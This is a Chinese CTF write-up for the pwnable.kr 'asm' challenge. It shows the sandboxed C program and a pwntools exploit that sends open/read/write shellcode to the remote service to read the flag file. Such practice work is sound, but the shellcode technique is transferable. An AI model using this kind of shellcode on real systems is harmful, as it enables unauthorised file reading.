pwnablr.kr 之 asm

用了沙箱,只开启了,open,read,write,exit,4个函数,并且在执行我们的shellcode前还清空了所有寄存器,但是这不影响,照常写shellcode。只是这flag的名字嘛,真长!

可以用pwntools,shellcraft模块

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#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>

#define LENGTH 128

void sandbox(){
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if (ctx == NULL) {
printf("seccomp error\n");
exit(0);
}

seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

if (seccomp_load(ctx) < 0){
seccomp_release(ctx);
printf("seccomp error\n");
exit(0);
}
seccomp_release(ctx);
}
//这段shellcode是清空所有的寄存器
char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){

setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);

printf("Welcome to shellcoding practice challenge.\n");
printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
printf("If this does not challenge you. you should play 'asg' challenge :)\n");

char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
memset(sh, 0x90, 0x1000);
memcpy(sh, stub, strlen(stub));

int offset = sizeof(stub);
printf("give me your x64 shellcode: ");
read(0, sh+offset, 1000);

alarm(10);
chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp
sandbox();
((void (*)(void))sh)();
return 0;
}

exp

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#coding:utf-8

# from libformatstr import FormatStr
# py64 = FormatStr(isx64=1)
# py64[printf_got] = onegadget
# sl(py64.payload(start_read_offset))
from pwn import *
import sys

local = 0
# context.terminal=['tmux','splitw','-h']
context.arch = 'amd64'
if len(sys.argv) == 2 and (sys.argv[1] == 'DEBUG' or sys.argv[1] == 'debug'):
context.log_level = 'debug'

if local:
p = process('./asm')
# p = process(argv=['',pay])
# p = process(["./ld.so","./easygame"],env={"LD_PRELOAD":"./libc.so.6"})
else:
p = remote("pwnable.kr","9026")

#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202040)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
sl = lambda s :p.sendline(s)
ru = lambda s :p.recvuntil(s)
sda = lambda a,s :p.sendafter(a,s)
sla = lambda a,s :p.sendlineafter(a,s)

def leak(name,addr):
log.info(name + " --> %s",hex(addr))


shellcode = asm(
shellcraft.open("this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong") +
shellcraft.read('rax','rsp',100) +
shellcraft.write(1,'rsp',100))
sl(shellcode)
p.interactive()
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